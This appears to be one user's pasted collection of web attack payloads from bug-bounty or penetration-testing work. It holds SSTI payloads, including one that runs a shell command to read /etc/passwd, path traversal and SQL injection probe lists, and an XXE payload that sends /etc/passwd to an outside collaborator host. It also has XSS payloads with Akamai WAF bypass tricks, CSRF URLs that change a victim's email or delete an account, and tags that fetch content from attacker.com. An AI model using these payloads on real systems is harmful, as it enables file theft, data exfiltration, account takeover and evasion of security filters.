ratnadip1998

POST /oauth/token HTTP/1.1
Host: www.strava.com
Content-Type: application/x-www-form-urlencoded
User-Agent: BurpSuite
Connection: close

client_id=YOUR_CLIENT_ID&
client_secret=YOUR_CLIENT_SECRET&
grant_type=client_credentials

ratnadip1998

# SSTI payloads (one per line)
#   payload||expected_output
# Example confirm:
#   {{7*7}}||49
#
# File-read confirm example:
#   {{lipsum.__globals__['os'].popen('cat /etc/passwd').read()}}||root:x:0:0

# Safe math confirms
{{7*7}}||49

ratnadip1998

'
''
`
"
""
%
,
\
')
")

ratnadip1998

etc/passwd
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../../etc/passwd

ratnadip1998

1. SQLI:
'
"
') 
")
'))
"))
'--
"-- 
'#

ratnadip1998

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://%file%.h6ojcmzsjqtnjvjyv6als7vbl2rtfp3e.oastify.com/'>">
%eval;

ratnadip1998

##Rare Cases
*/</script><script>alert()/*
'href=javascript:alert()>click me<a/y='
"autofocus onclick=’&#97;lert()'

Akamai Tricks & Tips
* alert()  => window['alert']()
* alert() => this['alert']()
* alert() => (alert)()
* alert() => eval(atob('YWxlcnQoKQ=='))

ratnadip1998

{
  __type(name: "TableauUser") {
    name
    kind
    fields {
      name
      type {
        name
        kind
        ofType {

ratnadip1998

https://example.com/page?path=<img src="/change-email?new_email=hacker@evil.com">

https://example.com/page?path=<iframe src="/delete-account?confirm=true" style="display:none;">

fetch('/action?param=value', { credentials: 'include' });

ratnadip1998

<img src="javascript:fetch('//attacker.com/test.html').then(r=>r.text()).then(t=>document.body.innerHTML=t)">

<img src=x style="content:url('http://attacker.com/test.html')">